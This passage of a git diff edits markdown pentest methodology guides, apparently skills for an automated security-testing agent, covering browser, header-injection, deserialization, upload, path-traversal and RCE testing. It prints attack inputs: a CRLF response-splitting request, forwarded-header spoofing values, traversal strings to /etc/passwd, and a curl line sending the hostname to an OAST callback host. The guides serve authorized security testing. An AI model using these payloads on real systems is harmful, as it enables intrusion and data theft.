-- Treat predictable `window.open()` target names and iframe names as potentially shared namespace entries. Confirm reuse within the same browsing-context group, opener chain, COOP state, and relevant navigation/message timing.
-- Check whether a blocked intermediate frame leaves a useful browsing-context relationship intact.
-- Use random per-flow names or `_blank` with `noopener` where an opener relationship is unnecessary.
-
-### Client-Side Path Traversal
-
-Trace the complete source-to-request pipeline:
-
-```text
-browser URL -> router parser -> route/query/hash accessor -> app interpolation -> fetch/XHR -> final normalized URL
-```
-
-- Test path parameters, query parameters, and hashes independently.
-- Determine exactly where `%2F`, `%5C`, `%2E`, and double-encoded forms decode or re-encode.
-- Instrument `fetch`, XHR, Axios, router navigation, and server-side fetch wrappers to capture the final URL.
-- Escalate only after identifying the sink: state-changing API for CSRF-like impact, HTML/attachment response rendered in an unsafe sink for XSS, or server-side fetch for SSRF.
-- Do not assume the same framework API behaves identically in client components, server components, and route handlers.
-
-### XS-Leaks and Cross-Origin Oracles
-
-Inventory observable signals that do not require reading the cross-origin response:
-
-- load/error events for script, image, stylesheet, frame, media, and module elements
-- timing, connection reuse, cache state, redirect count, and navigation success
-- window/frame count, focus, history length, and resource dimensions
-- browser-generated error pages and status-dependent behavior
-- request headers such as `Sec-Fetch-Dest`, `Sec-Fetch-Mode`, and `Origin`
-
-Test controls such as ORB, CORP, COEP, and MIME enforcement. A service worker or alternate fetch path can change request destination metadata and therefore change whether a blocked response becomes a network error or an empty response. Validate the oracle across authenticated and unauthenticated control cases.
-
-### Service Workers and Caches
-
-- Map service-worker registration scope, update lifecycle, controller acquisition, and fetch handlers.
-- Inspect Cache API keys and responses; determine whether HTML or JavaScript is served directly from a writable cache.
-- Test whether a constrained script context can poison app-managed cache entries later consumed by a normal page or service worker.
-- Treat service-worker persistence as high impact, but prove registration/control scope and update survivability.
-- Compare a direct subresource request with the same request proxied through `fetch(event.request)`; request destination and mode can differ.
-
-### Web Workers and Constrained Script Execution
-
-When script runs inside a worker, inventory capabilities instead of dismissing it as low impact:
-
-- credentialed same-origin `fetch` for data access and state changes
-- `postMessage` gadgets into the main page
-- IndexedDB and Cache API shared with other same-origin contexts
-- Blob construction and object URLs
-- import mechanisms, WebSocket, and available browser-specific APIs
-
-Prove the strongest reliable capability first. If escalation requires a user gesture, document the exact gesture, timing, browser, and visibility rather than calling it zero-click XSS.
-
-### Navigation and Redirect Control
-
-- Distinguish HTTP 30x, script navigation, form submission, meta refresh, and popup navigation.
-- Test invalid or blocked URL schemes and WAF-generated error pages only when they support a real flow. Oversized URLs/headers, cookie-path-specific header inflation, redirect limits, and navigation throttling are restartable-lab-only tests with strict size/iteration limits and health checks.
-- A sandbox inherited by a new top-level context can selectively block forms, scripts, popups, or navigation; enumerate the exact flag set.
-- Preserve and inspect history when a built-in error page replaces the active document; do not assume the errored URL is lost.
-
-### CSP and Browser Parsing
-
-- Evaluate the delivered policy on the exact response, including redirects and error/API/static paths.
-- Map nonces, hashes, `strict-dynamic`, allowed schemes, trusted script gadgets, `base-uri`, `frame-ancestors`, and Trusted Types.
-- Test parser namespaces and repairs in HTML, SVG, and MathML. A protected attribute or sanitizer rule in the HTML namespace may behave differently after namespace transitions.
-- Treat scriptless disclosure of a nonce or trusted URL as a primitive; prove a second controllable sink before claiming bypass.
-- For response splitting, consider whether a same-origin endpoint can be turned into a script resource with a controlled body length or framing.
-
-### JavaScript Gadget Discovery
-
-- When direct calls are blocked, inspect implicit coercions (`toString`, `valueOf`, iterators, getters, proxies) and callbacks invoked by accessible library functions.
-- Search for functions whose `this` object and arguments can be attacker-shaped.
-- Build a bounded harness to enumerate reachable globals and observe property reads/calls; avoid assuming one library gadget is universal.
-- Validate the complete call chain to a dangerous sink such as navigation, HTML insertion, `eval`, `Function`, or a privileged API.
-
-## Reconnaissance
-
-### Runtime Instrumentation
-
-Instrument in a controlled browser session:
-
-```javascript
-const realFetch = window.fetch;
-window.fetch = (...args) => {
-  const input = args[0];
-  const rawUrl = typeof input === 'string' ? input : input.url;
-  const url = new URL(rawUrl, location.href);
-  const method = args[1]?.method || input?.method || 'GET';
-  console.log('fetch', {method, origin: url.origin, path: url.pathname});
-  return realFetch(...args);
-};
-
-window.addEventListener('message', e => {
-  const keys = e.data && typeof e.data === 'object' ? Object.keys(e.data) : [];
-  console.log('message', {origin: e.origin, sourceMatches: e.source === window.opener, keys});
-}, true);
-```
-
-Use the wrapper only in the controlled profile and restore `window.fetch = realFetch` afterward. Do not log bodies, message values, credentials, or query strings.
-
-Also inspect DevTools network initiators, service workers, storage, CSP violations, frame tree, and navigation history. Use raw browser behavior for validation; command-line HTTP clients cannot reproduce origin/window/worker semantics.
-
-### Source Review
-
-- Search for `postMessage`, message listeners, `window.open`, named targets, opener/parent access, frame creation, and sandbox attributes.
-- Search for router parameter APIs flowing into `fetch`, Axios, navigation, or HTML rendering.
-- Search for service-worker registration, Cache API writes, worker constructors, Blob URLs, and dynamic imports.
-- Search for raw HTML sinks and trust escape hatches in every supported frontend framework.
-- Compare CSP and framing headers across document, API, static, callback, redirect, and error routes.
-
-## Testing Methodology
-
-1. **Define the browser state** - Origin/site, context graph, policies, workers, storage, and activation.
-2. **Identify a source and observable sink** - Message, URL component, cache entry, navigation, load/error event, or implicit call.
-3. **Trace transformations** - URL parsing, framework decode, browser normalization, request destination, and document replacement.
-4. **Build paired controls** - Same-origin/cross-origin, status success/error, worker/direct, unique/predictable window name, encoded/raw path.
-5. **Prove the primitive** - Data transfer, path change, state oracle, cache modification, or context capture.
-6. **Escalate deliberately** - Chain to a privileged action, sensitive disclosure, SSRF, or executable DOM sink.
-7. **Cross-browser check** - At minimum record Chromium/Firefox/Safari applicability when the primitive is browser-specific.
-8. **State interaction requirements** - Click, drag, popup permission, timing window, login state, and visual deception.
-
-## Validation
-
-1. Capture the context graph and relevant policies at exploit time.
-2. Show the exact browser-parsed origin or final request URL, not just the attacker-supplied string.
-3. For postMessage, prove both message origin and source/context ownership.
-4. For XS-Leaks, repeat randomized success/failure trials and quantify separation and noise.
-5. For workers/caches, show which later context consumes the modified data.
-6. For client-side traversal, capture the final network request and the security-relevant response/action.
-7. For interaction-dependent chains, provide a screen recording or deterministic event trace.
-
-## False Positives
-
-- A message reaches a listener but fails schema, origin, source, or state validation before any action
-- A router decodes traversal characters but the value never reaches a URL/path sink
-- Different load/error behavior caused by unstable network rather than protected state
-- Worker script execution with no sensitive API, shared state, main-thread gadget, or meaningful action
-- CSP nonce disclosure without a controllable way to reuse it in an executable sink
-- Named-window collision blocked by origin scoping, randomized names, COOP, or `noopener`
-- Browser-specific behavior reported without the required version, flag, or user interaction
-
-## Pro Tips
-
-1. Treat browsing-context names as attacker-contestable identifiers unless randomized.
-2. Query parameters are usually decoded automatically; path parameters vary by router and execution context.
-3. Compare request metadata, not just URLs. Service workers can alter destination/mode semantics.
-4. A strict origin check does not compensate for attacker control of the supposedly trusted window reference.
-5. Error pages, redirects, and blocked frames still mutate history and context relationships.
-6. Keep browser-version claims narrow and retest; these behaviors change faster than server-side primitives.
-7. Prefer a small state-machine explanation over a large payload catalog.
-
-## Summary
-
-Browser exploitation is state-machine exploitation. Map origins, context references, policies, workers, storage, navigation, and decoding as one system. Prove each state transition with browser evidence, then chain only the primitives that survive the target's browser and interaction constraints.

strix/skills/vulnerabilities/header_injection.md

@@ -5,7 +5,7 @@ description: HTTP header injection testing covering CRLF / response splitting, c
 
 # HTTP Header Injection
 
-Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and downstream parser confusion can trace back to a server-controlled header value that was not normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Impact depends on which downstream component consumes the injected field and how.
+Header injection turns user input into protocol-level control: response splitting, cache poisoning, session fixation, authentication bypass, and request smuggling all trace back to a server-controlled header value that wasn't normalized. The bug usually lives in middle layers — frameworks that copy a request value into a response header, proxies that trust forwarded headers, caches keyed on something the attacker influences. Treat any user-controlled value that reaches a header as code-execution-equivalent until proven otherwise.
 
 ## Attack Surface
 
@@ -62,7 +62,7 @@ Header injection turns user input into protocol-level control: response splittin
 
 ## Key Vulnerabilities
 
-### CRLF Response Splitting
+### CRLF Response Splitting and Smuggling
 
 Inject `\r\n\r\n` to terminate the current response and prepend a second attacker-controlled response. Cache or downstream proxy may key on the first response and serve the second to other users.
 
@@ -70,7 +70,7 @@ Inject `\r\n\r\n` to terminate the current response and prepend a second attacke
 GET /redirect?to=foo%0d%0aSet-Cookie:%20admin=1%0d%0a%0d%0a<html>poisoned</html> HTTP/1.1
 ```
 
-Request smuggling is a separate request-boundary vulnerability involving disagreement between two HTTP parsers, not simply response header injection at the request layer. Load `http_request_smuggling` when conflicting lengths, transfer coding, HTTP/2 downgrades, or connection desynchronization are in scope.
+Request smuggling is the same primitive at the request layer: inject a header that causes the proxy and backend to disagree on message framing — most commonly conflicting `Content-Length` and `Transfer-Encoding`, or two `Content-Length` headers with different values. Backend reads one request, frontend reads a different one; the leftover bytes become a smuggled request prepended to the next victim's connection.
 
 ### Cache Poisoning
 
@@ -106,23 +106,16 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
 - `X-Forwarded-For: 127.0.0.1` to bypass IP allowlists or rate limits keyed on client IP
 - `X-Forwarded-Proto: https` to satisfy "HTTPS-only" checks while still using HTTP
 - `X-Forwarded-Host: attacker.tld` for the Host-confusion variants above
-- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same trust class under different conventions; select evidence-supported variants for the observed proxy/CDN stack
+- `X-Real-IP`, `Client-IP`, `True-Client-IP`, `CF-Connecting-IP`, `Forwarded` (RFC 7239) — same primitive, different header names; spray all of them
 - `X-Original-URL` / `X-Rewrite-URL` (IIS, ASP.NET) — server-side URL rewriting after auth check, classic admin-panel auth bypass
 
 ### Content-Type / Encoding Confusion
 
 - Inject `Content-Type: text/html` into an endpoint that returned JSON; browsers may sniff and render → XSS
+- Inject `charset=utf-7` in `Content-Type` for legacy XSS via UTF-7-encoded payloads
 - Inject `Content-Disposition: inline` to switch a download into in-page rendering
+- Inject `Content-Encoding: gzip` without actually compressing — clients decode-fail and may reveal raw response bytes in error paths
 - *Absence* of `X-Content-Type-Options: nosniff` is what enables the sniffing attacks above; the header is a hardening control, not an attack surface — but if a server sets it inconsistently across endpoints, target the ones that don't
-- Compare MIME validators with browser parsing of duplicate or comma-joined `Content-Type` values. Record first/last valid member behavior and invalid-parameter recovery for each consumer.
-
-### Internal Redirect and Handler Confusion
-
-- Determine whether CGI/FastCGI/WSGI-style response headers can trigger an internal redirect instead of an external response.
-- Trace which request fields survive the redirect: content type, handler, method, authorization result, path, and environment.
-- Test whether response metadata is reused as an internal handler, proxy target, template type, or interpreter selection.
-- Compare direct access controls with the internally dispatched resource. A protected URL may be unreachable directly while the same handler is invokable through a clean internal redirect.
-- Treat CRLF injection and response-controlling SSRF as possible inputs to this chain, then validate handler selection before using a privileged handler.
 
 ### XSS via Response Headers
 
@@ -172,9 +165,8 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
 4. **Probe forwarding headers** — spoof `X-Forwarded-For`, `X-Real-IP`, `True-Client-IP`, `CF-Connecting-IP` against IP-restricted endpoints (admin, rate-limited)
 5. **Test cache key / response content split** — find inputs that change the body but not the cache key; confirm a second request from a different session sees the poisoned response
 6. **Test method override** — `X-HTTP-Method-Override` paired with state-changing endpoints reachable via POST or GET
-7. **Route framing discrepancies** — if evidence indicates request-boundary disagreement, switch to `http_request_smuggling`
+7. **Test request smuggling pairs** — conflicting `Content-Length` and `Transfer-Encoding`, two `Content-Length` headers, malformed chunked encoding, against any frontend → backend pair
 8. **Cross-protocol** — replay payloads over HTTP/1.1 and HTTP/2; diff behavior
-9. **Trace internal reprocessing** — where response headers can cause subrequests/internal redirects, diff retained fields and final handler selection
 
 ## Validation
 
@@ -182,8 +174,8 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
 2. Capture a password-reset / OAuth link pointing at attacker-controlled host — proves Host injection
 3. Demonstrate the same endpoint returning different auth decisions with and without a forged forwarding header
 4. For response splitting: show a downstream cache or proxy serving the injected second response to an unrelated request
-5. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
-6. For internal redirects, capture both the injected response metadata and the final internally selected route/handler
+5. For request smuggling: show one victim request seeing data from a different request appended (not just timing or single-shot anomaly)
+6. All findings should produce a durable artifact (cached response, sent email, log entry, session change) — transient anomalies are not validation
 
 ## False Positives
 
@@ -191,6 +183,7 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
 - `X-Forwarded-*` reflected back but only used for logging — not a security boundary, may not be exploitable
 - Browsers blocking `Location: javascript:` or `Location: data:` — capability exists in the protocol but most modern browsers refuse to navigate
 - CRLF appearing in response headers but stripped by an outer proxy before reaching any client or cache
+- Request smuggling indicators that turn out to be normal pipelining or keep-alive behavior
 
 ## Impact
 
@@ -199,6 +192,7 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
 - Auth bypass on endpoints trusting forwarding headers
 - Session fixation and cookie tossing leading to account hijack
 - Open redirect for phishing / OAuth `redirect_uri` abuse
+- Request smuggling — one victim's request reads another victim's response, including auth headers and cookies
 - WAF / detection bypass via header-name and encoding tricks
 
 ## Pro Tips
@@ -206,7 +200,7 @@ The `X-Forwarded-*` family is informational — there is no protocol guarantee a
 1. The fastest win is usually Host / `X-Forwarded-Host` in a password-reset or OAuth flow — try first, costs one request
 2. For cache poisoning, find the *unkeyed* input first (header that influences body but not cache key); the rest follows
 3. `X-HTTP-Method-Override` is high-yield against backends that route on it before checking method-based auth — most useful from server-side / non-browser callers (it triggers CORS preflight in a browser, so not a CSRF primitive)
-4. If a header test exposes message-boundary disagreement, switch to the dedicated request-smuggling workflow and identify the proxy → backend pair
+4. Smuggling lives at the boundary — identify the proxy → backend pair (CDN → origin, ingress → service) and target the framing disagreement
 5. `X-Original-URL` / `X-Rewrite-URL` against IIS / ASP.NET admin endpoints is still a high-yield bypass
 6. Before claiming a CRLF win, verify the second line landed as a real header in the cache or downstream consumer — many servers strip CRLF silently
 7. Outbound email flows are a separate but related surface — user input flowing into SMTP headers (To, Cc, Subject, Reply-To) is its own injection class with the same root cause

strix/skills/vulnerabilities/insecure_deserialization.md

@@ -10,16 +10,13 @@ Insecure deserialization passes attacker-controlled byte streams or structured b
 ## Attack Surface
 
 **Formats**
-- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML), Hessian/Burlap, Kryo
+- Java: Java native serialization, XStream, JSON → object mappers (Jackson, Fastjson), YAML (SnakeYAML)
 - Python: `pickle`, `yaml.load` (unsafe), `marshal`, shelve
 - PHP: `unserialize()`, Phar deserialization
 - .NET: `BinaryFormatter`, `Json.NET TypeNameHandling`, ViewState
 - Ruby: `Marshal.load`, YAML.load
 - Node.js: `node-serialize`, `unserialize.js` (less common; see prototype_pollution for merge bugs)
 
-**Transports and Containers**
-- Java RMI/JMX, HTTP/RPC endpoints, messaging protocols, queues, signed wrappers, and product-specific binary envelopes can carry one or more formats above
-
 **Input Locations**
 - Cookies, session tokens, hidden form fields
 - API parameters (`data`, `state`, `object`, base64 blobs)
@@ -61,22 +58,6 @@ yaml.load       readObject(     TypeNameHandling    Marshal.load
 ```
 When `enableDefaultTyping` or `@JsonTypeInfo` allows attacker-chosen types.
 
-**JNDI Pivots from Object Construction**
-
-JNDI injection is not itself a serialization format. It becomes part of this workflow when an attacker-selected type, setter, or gadget performs `Context.lookup()` during object construction or property population. `JdbcRowSetImpl` and some historical polymorphic JSON chains are examples; Log4j lookups reach JNDI through a different input path and should not be classified as deserialization.
-
-- Trace fields such as `dataSourceName`, `jndiName`, and `namingURL` into the exact lookup API and provider.
-- Record the accepted schemes/provider factories (`ldap`, `ldaps`, `rmi`, DNS URL context, or application-specific naming providers). A `dns://` value is not a universal oracle; it works only when the relevant DNS provider and lookup path are present.
-- Separate network lookup, remote object/reference processing, serialized LDAP attributes, remote codebase loading, and local object-factory invocation. Each is a different capability with different runtime controls.
-- JEP 290 filters incoming Java serialization graphs; it does not disable JNDI remote codebase loading. JNDI providers gained separate remote-class-loading and serialized-data controls across JDK updates, and current JDKs disable remote code downloading by default. Record the exact JDK build and relevant provider properties instead of using a single “modern Java” rule.
-- When remote class loading is unavailable, test whether the returned reference can reach a compatible **local** `ObjectFactory`, bean-property path, expression engine, script engine, or other class already present. Confirm exact class names, versions, module access, and trigger methods from the deployed classpath.
-
-**Hessian / Burlap**
-- Binary RPC formats deserialized by `HessianInput`/`Hessian2Input`. Attacker object graphs reach gadgets even though it is not native Java serialization.
-- Treat serializer version, allowed type metadata, constructors/setters invoked, collection/comparator behavior, and classpath as independent prerequisites.
-- Pair `semantic_confusion` when a proxy or route policy is expected to make the RPC endpoint unreachable.
-- Inspect the exact deployed libraries rather than relying on generic gadget labels; similar-looking Spring, Resin, Tomcat, XBean, EL, or Groovy classes are not interchangeable.
-
 ### Python Pickle
 
 Pickle executes arbitrary code during unpickling by design:
@@ -181,8 +162,6 @@ When `TypeNameHandling` != `None`.
 3. Check cookies named `JSESSIONID` alternatives, `.ASPXAUTH`, `laravel_session`, custom tokens
 4. In white-box, trace from `readObject`/`unserialize`/`pickle.loads` backward to source
 5. ViewState MAC off is still common on legacy ASP.NET — test early on `.aspx` apps
-6. Model JNDI lookup, reference/object processing, remote codebase loading, and local factory invocation as separate stages
-7. A "blocked" enterprise deserialization endpoint may still be reachable through a proxy/path-normalization mismatch — pair `semantic_confusion`
 
 ## Tooling
 
@@ -193,7 +172,6 @@ Payload generation is the practitioner's core tool here. The sandbox has `git`/`
 | **ysoserial** (frohoff) | Java native | Gadget-chain payloads: `CommonsCollections1-7`, `Groovy1`, `Spring1/2`, and `URLDNS` for a safe no-exec DNS oracle. Needs a JRE. |
 | **phpggc** (ambionics) | PHP `unserialize` / Phar | Framework POP chains (Laravel, Symfony, WordPress, Drupal, Monolog). Needs `php-cli`. |
 | **ysoserial.net** | .NET `BinaryFormatter` / Json.NET | Windows/.NET gadget payloads. Needs .NET/mono — usually out of scope in a Linux sandbox. |
-| **marshalsec** | Java Hessian/Burlap, Kryo, JSON, and JNDI reference tooling | Use only from a reviewed, pinned upstream commit when a non-native Java marshaller requires it. It has no stable release and intentionally bundles historical gadget dependencies; do not treat it as a globally installed default tool. |
 
 ```
 # Java: prove the sink with a no-exec DNS oracle BEFORE any RCE chain

strix/skills/vulnerabilities/insecure_file_uploads.md

@@ -67,8 +67,6 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
 
 - Double extensions: avatar.jpg.php, report.pdf.html; mixed casing: .pHp, .PhAr
 - Magic-byte spoofing: valid JPEG header then embedded script; verify server uses content inspection, not extensions alone
-- Detector/consumer differential: make the upload validator and the later parser disagree about type, structure, or validity
-- Probe detector scan windows, recursion/nesting limits, maximum bytes inspected, invalid-syntax recovery, and version-specific magic databases
 
 ### Archive Attacks
 
@@ -122,8 +120,6 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
 - Client-side only checks; relying on JS/MIME provided by browser
 - Trusting multipart boundary part headers blindly
 - Extension allowlists without server-side content inspection
-- One parser validates metadata or leading bytes while another parser processes the full file
-- Type-detection wrappers assumed identical even when they bundle different library/database versions
 
 ### Evasion Tricks
 
@@ -150,9 +146,8 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
 1. **Map the pipeline** - Client → ingress → storage → processors → serving. Note where validation and auth occur
 2. **Identify allowed types** - Size limits, filename rules, storage keys, and who serves the content
 3. **Collect baselines** - Capture resulting URLs and headers for legitimate uploads
-4. **Map validators and consumers** - Identify the detector/library/version when possible and every later parser, converter, renderer, or browser context
-5. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, parser limits, polyglots, metadata payloads, archive structure
-6. **Validate execution** - Prove the accepted object reaches a more privileged consumer and can execute or render active content
+4. **Exercise bypass families** - Extension games, MIME/content-type, magic bytes, polyglots, metadata payloads, archive structure
+5. **Validate execution** - Can uploaded content execute on server or client?
 
 ## Validation
 
@@ -187,7 +182,6 @@ Upload surfaces are high risk: server-side execution (RCE), stored XSS, malware
 8. When you cannot get execution, aim for stored XSS or header-driven script execution
 9. Validate that CDNs honor attachment/nosniff
 10. Document full pipeline behavior per asset type
-11. Reproduce detector/consumer mismatches on the deployed library versions; OS packages and language bindings may ship different limits
 
 ## Summary
 

strix/skills/vulnerabilities/llm_prompt_injection.md

@@ -9,8 +9,6 @@ Prompt injection occurs when attacker-influenced content changes model behavior
 
 Load `llm_applications` for the full OWASP 2026 LLM01-LLM10 architecture and coverage workflow. Treat every LLM feature as a potential confused deputy: models cannot reliably distinguish instructions from data, but impact depends on the application's data, tools, decisions, and output sinks.
 
-When the system can invoke MCP servers, plugins, skills, delegated agents, or consequential tools, also load `agentic_system_security` to model effective authority, target-side authorization, executable component supply chain, and repeatable safety regression. This skill remains focused on instruction/data confusion and unsafe model output.
-
 ## Attack Surface
 
 **Direct Injection**

strix/skills/vulnerabilities/path_traversal_lfi_rfi.md

@@ -11,7 +11,6 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
 
 **Path Traversal**
 - Read files outside intended roots via `../`, encoding, normalization gaps
-- Write or create files outside intended roots, then evaluate framework-controlled resolution paths separately from direct web access
 
 **Local File Inclusion (LFI)**
 - Include server-side files into interpreters/templates
@@ -52,7 +51,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
 ### Capability Probes
 
 - Path traversal baseline: `../../etc/hosts` and `C:\Windows\win.ini`
-- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, and Unicode lookalikes only where a documented conversion layer maps them to path syntax
+- Encodings: `%2e%2e%2f`, `%252e%252e%252f`, `..%2f`, `..%5c`, mixed UTF-8 (`%c0%2e`), Unicode dots and slashes
 - Normalization tests: `..../`, `..\\`, `././`, trailing dot/double dot segments; repeated decoding
 - Absolute path acceptance: `/etc/passwd`, `C:\Windows\System32\drivers\etc\hosts`
 - Server mismatch: `/static/..;/../etc/passwd` ("..;"), encoded slashes (`%2F`), double-decoding via upstream
@@ -70,7 +69,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
 
 ### OAST
 
-- For RFI or URL-capable resource loaders, a correlated callback confirms server-side resolution/fetch. It does not by itself prove inclusion or execution; use a separate response or side-effect oracle for that claim.
+- RFI/LFI with wrappers that trigger outbound fetches (HTTP/DNS) to confirm inclusion/execution
 
 ### Side Effects
 
@@ -82,7 +81,7 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
 ### Path Traversal Bypasses
 
 **Encodings**
-- Single/double URL-encoding, mixed case, UTF-16 or Unicode conversion only when present in the stack, and path normalization oddities
+- Single/double URL-encoding, mixed case, overlong UTF-8, UTF-16, path normalization oddities
 
 **Mixed Separators**
 - `/` and `\\` on Windows; `//` and `\\\\` collapse differences across frameworks
@@ -148,38 +147,13 @@ Improper file path handling and dynamic inclusion enable sensitive file disclosu
 - Verify symlink handling and path canonicalization prior to write
 - Impact: overwrite config/templates or drop webshells into served directories
 
-### File Write to Execution
-
-Characterize the write primitive before choosing a payload:
-
-- create vs overwrite vs append; atomic replace vs streamed write
-- absolute vs relative path; controllable directory, filename, extension, and bytes
-- text encoding, newline conversion, templating, compression, or report generation applied before write
-- target process permissions and whether symlinks are followed
-- immediate load, hot reload, cache invalidation, restart, scheduled task, or user action required
-
-Then inventory generic execution and influence surfaces:
-
-- view/template search paths and implicit rendering
-- module, controller, plugin, package, or class autoload directories
-- application bootstrap files and language package initializers
-- server/user configuration that changes handler or interpreter behavior
-- job definitions, hooks, startup scripts, cron/task inputs, and CI workspace files
-- logs, sessions, caches, generated sources, and compiled-template directories later included or evaluated
-
-Do not require the malicious file to be directly web-accessible. An HTTP extension allowlist can block `/path/payload.ext` while an internal view engine, autoloader, or interpreter still opens and executes that file through a clean route. Trace public request filtering and internal file resolution as separate security boundaries.
-
-Test search order with candidate marker files or filesystem traces. Trigger the normal route/action that causes internal resolution. Record whether the framework creates, compiles, caches, or executes the artifact and what reload condition is required.
-
 ## Testing Methodology
 
 1. **Inventory file operations** - Downloads, previews, templates, logs, exports/imports, report engines, uploads, archive extractors
 2. **Identify input joins** - Path joins (base + user), include/require/template loads, resource fetchers, archive extract destinations
 3. **Probe normalization** - Separators, encodings, double-decodes, case, trailing dots/slashes
 4. **Compare behaviors** - Web server vs application behavior
-5. **Characterize writes** - Determine create/overwrite/append, path and byte control, permissions, and reload/trigger conditions
-6. **Map resolvers** - Test template/view search paths, autoloaders, plugins, configs, jobs, and other internal consumers separately from direct file serving
-7. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution through a proven resolver or interpreter
+5. **Escalate** - From disclosure (read) to influence (write/extract/include), then to execution (wrapper/engine chains)
 
 ## Validation
 
@@ -187,8 +161,7 @@ Test search order with candidate marker files or filesystem traces. Trigger the
 2. For LFI, demonstrate inclusion of a benign local file or harmless wrapper output (`php://filter` base64 of index.php)
 3. For RFI, prove remote fetch by OAST or controlled output; avoid destructive payloads
 4. For Zip Slip, create an archive with `../` entries and show write outside target (e.g., marker file read back)
-5. For file-write chains, first prove a canary is created at the intended path, then prove the normal resolver loads it; document cache/reload requirements
-6. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
+5. Provide before/after file paths, exact requests, and content hashes/lengths for reproducibility
 
 ## False Positives
 
@@ -211,7 +184,6 @@ Test search order with candidate marker files or filesystem traces. Trigger the
 3. For LFI, prefer `php://filter` base64 probes over destructive payloads; enumerate readable logs and sessions
 4. Validate extraction code with synthetic archives; include symlinks and deep `../` chains
 5. Use minimal PoCs and hard evidence (hashes, paths). Avoid noisy DoS against filesystems
-6. When direct execution is blocked, enumerate internal search paths before assuming the write is low impact
 
 ## Summary
 

strix/skills/vulnerabilities/rce.md

@@ -80,7 +80,6 @@ curl https://xyz.oast.fun/$(hostname)
 - Break out of quoted segments by alternating quotes and escapes
 - Environment expansion: `$PATH`, `${HOME}`, command substitution
 - Windows: `%TEMP%`, `!VAR!`, PowerShell `$(...)`
-- When a shell-free subprocess (`execve`/`subprocess.run([...])`) receives a user-controlled argument, load `argument_injection` to test option smuggling and any separately identified argv or secondary-parser boundary.
 
 **Path and Builtin Confusion**
 - Force absolute paths (`/usr/bin/id`) vs relying on PATH

strix/skills/vulnerabilities/semantic_confusion.md

@@ -1,189 +0,0 @@
----
-name: semantic-confusion
-description: Cross-component semantic confusion testing for parser differentials, normalization mismatches, overloaded fields, lifecycle state drift, internal redirects, protocol translation, and validator-to-sink inconsistencies
----
-
-# Semantic Confusion
-
-Use this skill when two or more components consume the same attacker-influenced value. The central question is not merely whether input is validated, but whether every consumer assigns the same meaning to the value at the moment it makes a security decision.
-
-Typical chains cross a validator, router, proxy, framework, parser, filesystem, interpreter, cache, or browser. A value can be safe in one representation and dangerous after a later decode, normalization, fallback, or field mutation.
-
-## Authorization and Safety Boundary
-
-- Run active differentials only against explicit authorized targets. Preserve destination allowlists and set request, rate, body, response, timeout, and retry ceilings.
-- Perform malformed framing, delayed-body, oversized-input, crash, or resource-exhaustion cases only in a restartable isolated lab with health monitoring.
-- Use synthetic canaries, reversible actions, non-secret protected resources, or a constant per-test callback identifier. Never place target-derived secrets in an OAST label/body.
-- Change one representation axis at a time so the security-relevant disagreement remains attributable to a specific boundary.
-- Pair `browser_security` when the final consumer is a browser context, worker, cache, or navigation state machine.
-- Do not load this skill for pure ownership drift where every component resolves and interprets the name consistently; use `infrastructure_lifecycle` unless a representation, alias, identity, or resolution-result mismatch is present.
-
-## Core Model
-
-Build a transformation graph before spraying payloads:
-
-```text
-raw bytes
-  -> transport parser
-  -> proxy / middleware representation
-  -> authorization or validation decision
-  -> rewrite / decode / normalization
-  -> internal redirect or dispatch
-  -> final sink interpretation
-```
-
-For every edge, record:
-
-- exact input representation: bytes, string, URL, path, header list, object, or structured field
-- owning component and implementation/version
-- transformation performed, including error and fallback behavior
-- security decision made before or after the transformation
-- whether the original and transformed values remain available simultaneously
-- whether a field changes semantic type, such as filename to URL or MIME type to handler
-
-The highest-signal condition is `security_check(value_A)` followed by `sink(transform(value_A))` where the checked and consumed representations are not equivalent.
-
-## High-Value Confusion Classes
-
-### Parser Differentials
-
-- Compare browser, framework, proxy, library, and backend parsing of the exact same bytes.
-- Test duplicate and comma-joined fields, first-match vs last-match behavior, invalid-token recovery, comments, quoting, and empty members.
-- Include structured formats and metadata: URL, MIME, JSON, multipart, XML, cookies, forwarded headers, and serialized objects.
-- Treat leniency as a security feature only when every downstream consumer is equally lenient in the same way.
-
-### Normalization and Canonicalization Drift
-
-- Map percent-decoding count, Unicode conversion, slash/backslash handling, dot-segment removal, case folding, IDNA, numeric IP conversion, and filesystem cleanup.
-- Compare string-prefix checks with segment-aware or origin-aware comparisons.
-- Test malformed Unicode and replacement behavior; a rejected code point may become an allowed delimiter or wildcard later.
-- Test path, query, and fragment separately. Browsers and routers commonly transform each source differently.
-
-### Field and Type Overloading
-
-- Identify shared fields reused for different concepts: path vs URL, content type vs handler, display name vs executable name, route vs filesystem location.
-- Trace every writer and reader of the field across the complete lifecycle.
-- Look for implicit fallback: when the intended field is empty, another field becomes authoritative.
-- Exercise fields after errors, rewrites, subrequests, retries, internal redirects, and protocol upgrades/downgrades.
-
-### Lifecycle and State Drift
-
-- Trigger error paths that should terminate processing and verify that later phases actually stop.
-- Look for stale metadata copied into a new request, subrequest, background job, cache entry, or retry.
-- Compare direct external access with internal dispatch. Edge controls may inspect the public URL while an internal resolver opens a different path or invokes a different handler.
-- Test order-dependent behavior: validation before rewrite, auth before route normalization, or content classification before processing.
-
-### Boundary Translation
-
